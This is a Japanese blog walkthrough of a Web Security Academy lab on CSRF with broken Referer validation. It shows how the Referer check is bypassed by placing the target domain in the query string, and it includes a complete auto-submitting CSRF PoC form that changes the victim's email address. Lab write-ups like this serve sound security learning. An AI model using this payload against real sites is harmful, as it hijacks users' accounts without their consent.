Shikata Ga Nai

Private? There is no such things.

CSRF with broken Referer validationをやってみた

Hello there, ('ω')ノ

 

リファラ検証が壊れているCSRFを。

このラボのメール変更機能は、CSRFに対して脆弱で。 

ラボを解決するには、CSRF攻撃でメールアドレスを変更して 。

 

まずは、ログインして。

 

f:id:ThisIsOne:20210419173127p:plain

 

メールアドレスを変更して。

 

f:id:ThisIsOne:20210419173150p:plain

 

リクエストをリピータへ。

 

f:id:ThisIsOne:20210419173215p:plain

 

Refererを変更して、レスポンスを確認するとリクエストが拒否されて。

 

f:id:ThisIsOne:20210419173303p:plain

 

Refererを空白にして、レスポンスを確認して。

 

f:id:ThisIsOne:20210419174302p:plain

 

Refererを削除して、レスポンスを確認して。

 

f:id:ThisIsOne:20210419173327p:plain

 

Refererを下記に変更して、SendしてFollowをクリックして。

 Referer: ac551fb31e065668809d2d1000500099.web-security-academy.net

 

f:id:ThisIsOne:20210419174538p:plain

 

どうやら、ドメインが含まれているとRefererヘッダを受け入れるようで。

 

f:id:ThisIsOne:20210419174600p:plain

 

リクエストを一つ戻って、CSRF PoCを。

 

f:id:ThisIsOne:20210419174757p:plain

 

Optionを選択して。

 

f:id:ThisIsOne:20210419174835p:plain

 

変更を確認するためにメールアドレスを変更してからRegenerateを。

 hack@mail.com

 

f:id:ThisIsOne:20210419174915p:plain

 

下記のパラメータを3番目の引数に追加して、Copy HTMLをクリックして。

これで生成されたリクエストのRefererヘッダにターゲットサイトのURLが含まれて。

 /?https://ac551fb31e065668809d2d1000500099.web-security-academy.net

 

f:id:ThisIsOne:20210419175010p:plain


下記をHeadセクションに追加して。

これがないとRefererヘッダのエラーが出て。

ブラウザがRefererヘッダのクエリ文字列を削除するようでオーバーライドして。

 Referrer-Policy: unsafe-url

 

先ほどコピーしたHTMLを入れ替えてStoreすると。

<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/?https://ac551fb31e065668809d2d1000500099.web-security-academy.net')
<form action="https://ac551fb31e065668809d2d1000500099.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="hack&#64;mail&#46;com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>

 

f:id:ThisIsOne:20210419180240p:plain

 

クリアできた。

 

f:id:ThisIsOne:20210419180140p:plain


View exploitをクリックすると途中にこのようなボタンが見えて。

 

f:id:ThisIsOne:20210419180332p:plain

 

メールアドレスが変更されていて。

 

f:id:ThisIsOne:20210419180449p:plain


Best regards, (^^ゞ